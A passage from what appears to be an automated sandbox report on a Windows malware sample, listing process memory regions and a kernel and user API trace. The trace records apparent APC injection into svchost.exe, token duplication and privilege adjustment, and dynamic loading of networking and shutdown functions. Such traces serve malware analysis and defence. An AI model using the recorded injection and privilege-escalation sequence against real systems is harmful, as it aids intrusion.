= 0x2f0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 849 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 850 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 851 start_va = 0x60000 end_va = 0x6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 852 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 853 start_va = 0xf0000 end_va = 0xfffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 854 start_va = 0x3f0000 end_va = 0x4effff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 855 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 856 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 857 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 858 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 859 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 860 start_va = 0xe0000 end_va = 0xe6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 861 start_va = 0x100000 end_va = 0x1bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 862 start_va = 0x1c0000 end_va = 0x1c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 863 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 864 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 865 start_va = 0x4f0000 end_va = 0x677fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 866 start_va = 0x680000 end_va = 0x800fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 867 start_va = 0x810000 end_va = 0xc02fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 868 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 869 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 870 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 871 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 872 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 873 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 874 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 875 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 876 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 877 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 878 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 879 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 880 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 881 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 882 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 883 start_va = 0xd50000 end_va = 0xdcffff entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 884 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 885 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 886 start_va = 0x1060000 end_va = 0x132efff entry_point = 0x1060000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 887 start_va = 0xc20000 end_va = 0xc9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 888 start_va = 0xe70000 end_va = 0xeeffff entry_point = 0x0 region_type = private name = "private_0x0000000000e70000" filename = "" Region: id = 889 start_va = 0xf70000 end_va = 0xfeffff entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 890 start_va = 0x7fefcf70000 end_va = 0x7fefcf81fff entry_point = 0x7fefcf71060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" Region: id = 891 start_va = 0x7fefcf90000 end_va = 0x7fefcfaefff entry_point = 0x7fefcf95c68 region_type = mapped_file name = "SPInf.dll" filename = "\\Windows\\System32\\SPInf.dll" Region: id = 892 start_va = 0x7fefcfb0000 end_va = 0x7fefd016fff entry_point = 0x7fefcfbd320 region_type = mapped_file name = "umpnpmgr.dll" filename = "\\Windows\\System32\\umpnpmgr.dll" Region: id = 893 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 894 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 895 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 896 start_va = 0xde0000 end_va = 0xe5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 897 start_va = 0x1490000 end_va = 0x149ffff entry_point = 0x0 region_type = private name = "private_0x0000000001490000" filename = "" Region: id = 898 start_va = 0x7fefcf50000 end_va = 0x7fefcf6dfff entry_point = 0x7fefcf513b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" Region: id = 899 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Region: id = 900 start_va = 0x7fefdba0000 end_va = 0x7fefdbaefff entry_point = 0x7fefdba19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" Region: id = 901 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 902 start_va = 0x7fefcf30000 end_va = 0x7fefcf4afff entry_point = 0x7fefcf32068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" Region: id = 903 start_va = 0xcd0000 end_va = 0xd4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 904 start_va = 0xfa0000 end_va = 0x101ffff entry_point = 0x0 region_type = private name = "private_0x0000000000fa0000" filename = "" Region: id = 905 start_va = 0x13d0000 end_va = 0x144ffff entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 906 start_va = 0x14f0000 end_va = 0x156ffff entry_point = 0x0 region_type = private name = "private_0x00000000014f0000" filename = "" Region: id = 907 start_va = 0x1570000 end_va = 0x166ffff entry_point = 0x0 region_type = private name = "private_0x0000000001570000" filename = "" Region: id = 908 start_va = 0x7fefcef0000 end_va = 0x7fefcefcfff entry_point = 0x7fefcef1348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" Region: id = 909 start_va = 0x7fefcf00000 end_va = 0x7fefcf2bfff entry_point = 0x7fefcf01860 region_type = mapped_file name = "umpo.dll" filename = "\\Windows\\System32\\umpo.dll" Region: id = 910 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 911 start_va = 0x7fefdb60000 end_va = 0x7fefdb9cfff entry_point = 0x7fefdb618f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" Region: id = 912 start_va = 0x7fefddc0000 end_va = 0x7fefddf5fff entry_point = 0x7fefddc1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" Region: id = 913 start_va = 0x7fefde70000 end_va = 0x7fefde89fff entry_point = 0x7fefde71558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" Region: id = 914 start_va = 0x7feff310000 end_va = 0x7feff4e6fff entry_point = 0x7feff311010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" Region: id = 915 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 916 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 917 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 918 start_va = 0x17e0000 end_va = 0x185ffff entry_point = 0x0 region_type = private name = "private_0x00000000017e0000" filename = "" Region: id = 919 start_va = 0x18a0000 end_va = 0x191ffff entry_point = 0x0 region_type = private name = "private_0x00000000018a0000" filename = "" Region: id = 920 start_va = 0x1940000 end_va = 0x19bffff entry_point = 0x0 region_type = private name = "private_0x0000000001940000" filename = "" Region: id = 921 start_va = 0x7fefcec0000 end_va = 0x7fefceebfff entry_point = 0x7fefcec15c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" Region: id = 922 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 923 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 925 start_va = 0x16f0000 end_va = 0x176ffff entry_point = 0x0 region_type = private name = "private_0x00000000016f0000" filename = "" Region: id = 926 start_va = 0x19d0000 end_va = 0x1a4ffff entry_point = 0x0 region_type = private name = "private_0x00000000019d0000" filename = "" Region: id = 927 start_va = 0x7fefce60000 end_va = 0x7fefcee0fff entry_point = 0x7fefce6cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" Region: id = 928 start_va = 0x7fefda60000 end_va = 0x7fefda84fff entry_point = 0x7fefda69658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" Region: id = 929 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 930 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 943 start_va = 0x1670000 end_va = 0x16effff entry_point = 0x0 region_type = private name = "private_0x0000000001670000" filename = "" Region: id = 944 start_va = 0x7fefd060000 end_va = 0x7fefd069fff entry_point = 0x7fefd063cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" Region: id = 945 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 946 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1696 start_va = 0x10000 end_va = 0x10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1697 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1698 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 1699 start_va = 0x19e0000 end_va = 0x1a5ffff entry_point = 0x0 region_type = private name = "private_0x00000000019e0000" filename = "" Region: id = 1700 start_va = 0x1a70000 end_va = 0x1aeffff entry_point = 0x0 region_type = private name = "private_0x0000000001a70000" filename = "" Region: id = 1701 start_va = 0x1bd0000 end_va = 0x1c4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001bd0000" filename = "" Region: id = 1702 start_va = 0x7feff570000 end_va = 0x7feff608fff entry_point = 0x7feff571c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" Region: id = 1703 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 1704 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 3485 start_va = 0x280000 end_va = 0x280fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 3486 start_va = 0x290000 end_va = 0x290fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 3487 start_va = 0x1b20000 end_va = 0x1b9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b20000" filename = "" Region: id = 3488 start_va = 0x1c50000 end_va = 0x1d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c50000" filename = "" Region: id = 3489 start_va = 0x1db0000 end_va = 0x1e2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 3490 start_va = 0x1f70000 end_va = 0x1feffff entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 3491 start_va = 0x7fef8250000 end_va = 0x7fef8276fff entry_point = 0x7fef82511a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" Region: id = 3492 start_va = 0x7fef8280000 end_va = 0x7fef8361fff entry_point = 0x7fef82a3814 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" Region: id = 3493 start_va = 0x7fef8370000 end_va = 0x7fef83a1fff entry_point = 0x7fef83946ec region_type = mapped_file name = "WmiDcPrv.dll" filename = "\\Windows\\System32\\wbem\\WmiDcPrv.dll" Region: id = 3494 start_va = 0x7fef87c0000 end_va = 0x7fef8845fff entry_point = 0x7fef87cffd0 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" Region: id = 3495 start_va = 0x7fefbb30000 end_va = 0x7fefbb5cfff entry_point = 0x7fefbb31010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" Region: id = 3496 start_va = 0x7fefbef0000 end_va = 0x7fefbf00fff entry_point = 0x7fefbef1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" Region: id = 3497 start_va = 0x7fefdf30000 end_va = 0x7fefdf69fff entry_point = 0x7fefdf31320 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" Region: id = 3498 start_va = 0x7feff1e0000 end_va = 0x7feff22cfff entry_point = 0x7feff1e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" Region: id = 3499 start_va = 0x7feff680000 end_va = 0x7feff6d1fff entry_point = 0x7feff6810d4 region_type = mapped_file name = "Wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" Region: id = 3500 start_va = 0x7feffce0000 end_va = 0x7feffce7fff entry_point = 0x7feffce1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" Region: id = 3501 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 3525 start_va = 0x7fef80a0000 end_va = 0x7fef80aefff entry_point = 0x7fef80a11d0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" Thread: id = 114 os_tid = 0x254 [0076.402] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\svchost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.402] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.404] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0076.404] IoIs32bitProcess (Irp=0x0) returned 0 [0076.404] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80035acee0 [0076.404] KeInitializeApc (Apc=0xfffffa80035acee0, Thread=0xfffffa80035c9060, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0076.404] KeInsertQueueApc (Apc=0xfffffa80035acee0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0076.405] ExFreePoolWithTag (P=0xfffffa80035acee0, Tag=0x0) [0076.405] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa80035d0010 [0076.405] IoGetCurrentProcess () returned 0xfffffa80035c7630 [0076.405] PsGetCurrentProcessId () returned 0x250 [0076.405] IoIs32bitProcess (Irp=0x0) returned 0 [0076.405] KeInitializeEvent (in: Event=0xfffffa80035d0050, Type=0x0, State=0 | out: Event=0xfffffa80035d0050) [0076.405] ExQueueWorkItem (in: WorkItem=0xfffffa80035d0010*(List.Flink=0x0, List.Blink=0xfffffa80035d0020, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80035d0010), QueueType=0x1 | out: WorkItem=0xfffffa80035d0010*(List.Flink=0x0, List.Blink=0xfffffa80035d0020, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80035d0010)) [0076.426] KeWaitForMutexObject () returned 0x0 [0076.426] ExFreePoolWithTag (P=0xfffffa80035d0010, Tag=0x0) [0076.426] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.432] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.433] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.434] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.437] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0076.448] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0076.448] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0076.448] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0076.448] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0076.448] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0076.448] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.449] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.449] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.449] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.450] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.450] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.451] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.451] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.452] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.452] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.453] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.453] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.453] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.455] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.455] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.472] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0076.472] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0076.472] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0076.472] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0076.472] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.474] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0076.474] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0076.474] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0076.475] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0076.475] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0076.475] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0076.475] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0076.475] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0076.475] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0076.475] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0076.477] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0076.477] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0076.477] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x24f188 | out: lpflOldProtect=0x24f188*=0x40) returned 1 [0076.477] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x24f188 | out: lpflOldProtect=0x24f188*=0x4) returned 1 [0076.477] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0076.477] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0076.477] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0076.477] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0076.478] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0076.478] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0076.478] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0076.478] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0076.478] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0076.478] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0076.478] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0076.478] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0076.478] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0076.478] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0076.478] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0076.478] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0076.478] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0076.478] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0076.478] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0076.478] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0076.478] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0076.479] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0076.479] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0076.479] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0076.479] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0076.479] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0076.479] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0076.479] GetProcAddress (hModule=0x77c50000, 